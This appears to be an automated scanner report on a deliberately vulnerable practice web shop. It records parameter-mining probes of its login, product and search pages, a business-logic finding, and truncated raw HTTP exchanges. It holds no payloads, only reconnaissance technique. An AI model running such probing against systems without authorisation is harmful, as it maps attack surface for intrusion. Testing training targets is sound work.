<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?sksnotaparam=1

request

GET /sekumart.sekuripy.hr/login.php?sksnotaparam=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2966
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:47 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

drop0 HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?target=1&dest=1&comment=1…

request

GET /sekumart.sekuripy.hr/login.php?target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2966
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:47 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

drop1 HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&dest=1&comment=1…

request

GET /sekumart.sekuripy.hr/login.php?next=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2966
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:47 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

drop2 HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&comment=1…

request

GET /sekumart.sekuripy.hr/login.php?next=1&target=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2966
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:47 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href

Detection details — how this was found and rated

checks: recon/param_mining
rating basis: P5 - the endpoint reacts to a parameter it never advertised - attack surface, and the class stays triage because this is the same bookkeeping about parameters, not a weakness of its own
class: triage recon

All supporting observations

Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but next, target, dest, comment, message, text, content, title changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php confirmed together yes
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but template, include, download, format, mode, state, code, session changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php confirmed together yes
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but callback, file, url, name, search, query, page, filename changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php confirmed together yes
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but data, src, dir, lang, view, redirect, returnTo, return_url changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php confirmed together yes
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but fields, full changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php confirmed together yes
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but fileName, path, email, token, action, value, type, key changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php confirmed together yes
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but c, l, cat, id, q, sort, order, user changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php confirmed together yes
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but p, flag, username, password, add, product_id, author, body changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php confirmed together yes
Undeclared parameter accepted by /sekumart.sekuripy.hr/login.php recon/param_mining · info
This endpoint is reachable with no query string and advertises no input, but host, ip, cmd, fetch, load, refresh, all, expand changed its response together - neither moves the response on its own, and the pair does. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php confirmed together yes

GET/ Client-trusted business value on / unconfirmed · low confidence BV-011 info

Evidence. SekuScan observed 2 state transitions while following safe navigation and control actions. Write-capable workflow steps were not replayed.

How to fix. Recompute every price, total and entitlement on the server from identifiers, and treat the client's copy as a display value only.

What we verified The client submits this business value to the server. Whether the server recomputes or trusts it was not tested.

How to fixRecompute every price, total and entitlement on the server from identifiers, and treat the client's copy as a display value only.

location: GET https://sekumart.sekuripy.hr/
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-840
standards: OWASP Top 10 2025A06:2025 OWASP API Security Top 10 2023API6:2023 OWASP ASVS 5.0.0V2 OWASP WSTG 4.2WSTG-BUSL-09 ISO/IEC 27001 2022A.8.26 NIST CSF 2.0ID.RA-01

Decisive evidence

Read-only business workflow state graph observed unconfirmed

SekuScan observed 2 state transitions while following safe navigation and control actions. Write-capable workflow steps were not replayed.

read only

yes

Reproduce

manual bytes — review the captured state graph before authorizing writes

Detection details — how this was found and rated

checks: business-logic/workflow
rating basis: P5 - read-only workflow state graph observed
class: workflow business-logic

GET/product.php Input handling on /product.php unconfirmed · low confidence BV-012 info

Evidence. This endpoint is reachable with no query string and advertises no input, but id changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

How to fix. No action.

What we verified The parameter's response to punctuation was measured.

What this can lead toNothing on its own; this is how the run decided what to test next. Assessment boundary: Recorded for coverage.

How to fixNo action.

location: GET https://sekumart.sekuripy.hr/product.php
authentication: none - reachable anonymously (policy-wide; not tied to one surface)

Decisive evidence

Undeclared parameter accepted by /product.php unconfirmed

This endpoint is reachable with no query string and advertises no input, but id changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url

https://sekumart.sekuripy.hr/product.php

confirmed together

Reproduce

name3 GET https://sekumart.sekuripy.hr/product.php?id=1 HTTP 200 3830 bytes

control

curl -i -X GET 'https://sekumart.sekuripy.hr/product.php?sksnotaparam=1'

GET /product.php?sksnotaparam=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/product.php

request

GET /product.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1361
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:34 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — product</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (7)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/product.php

request

GET /product.php HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1361
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:34 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — product</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (7)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/product.php?sksnotaparam=1

request

GET /product.php?sksnotaparam=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1361
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:34 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — product</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (7)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

name0 HTTP 200 https://sekumart.sekuripy.hr/product.php?c=1

request

GET /product.php?c=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1361
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:34 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — product</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (7)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

name1 HTTP 200 https://sekumart.sekuripy.hr/product.php?l=1

request

GET /product.php?l=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1361
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:34 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — product</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (7)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

name2 HTTP 200 https://sekumart.sekuripy.hr/product.php?cat=1

request

GET /product.php?cat=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1361
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:34 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — product</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (7)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: recon/param_mining
rating basis: P5 - the endpoint reacts to a parameter it never advertised - attack surface, and the class stays triage because this is the same bookkeeping about parameters, not a weakness of its own
class: triage recon

GET/search.php Input handling on /search.php unconfirmed · low confidence BV-013 info

Evidence. This endpoint is reachable with no query string and advertises no input, but q changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

How to fix. No action.

What we verified The parameter's response to punctuation was measured.

What this can lead toNothing on its own; this is how the run decided what to test next. Assessment boundary: Recorded for coverage.

How to fixNo action.

location: GET https://sekumart.sekuripy.hr/search.php
authentication: none - reachable anonymously (policy-wide; not tied to one surface)

Decisive evidence

Undeclared parameter accepted by /search.php unconfirmed

This endpoint is reachable with no query string and advertises no input, but q changed its response on its own, against two baselines of this endpoint. Nothing here is a weakness yet - the parameter is now an ordinary surface and the rest of the engine decides what it is worth.

url

https://sekumart.sekuripy.hr/search.php

confirmed together

Reproduce

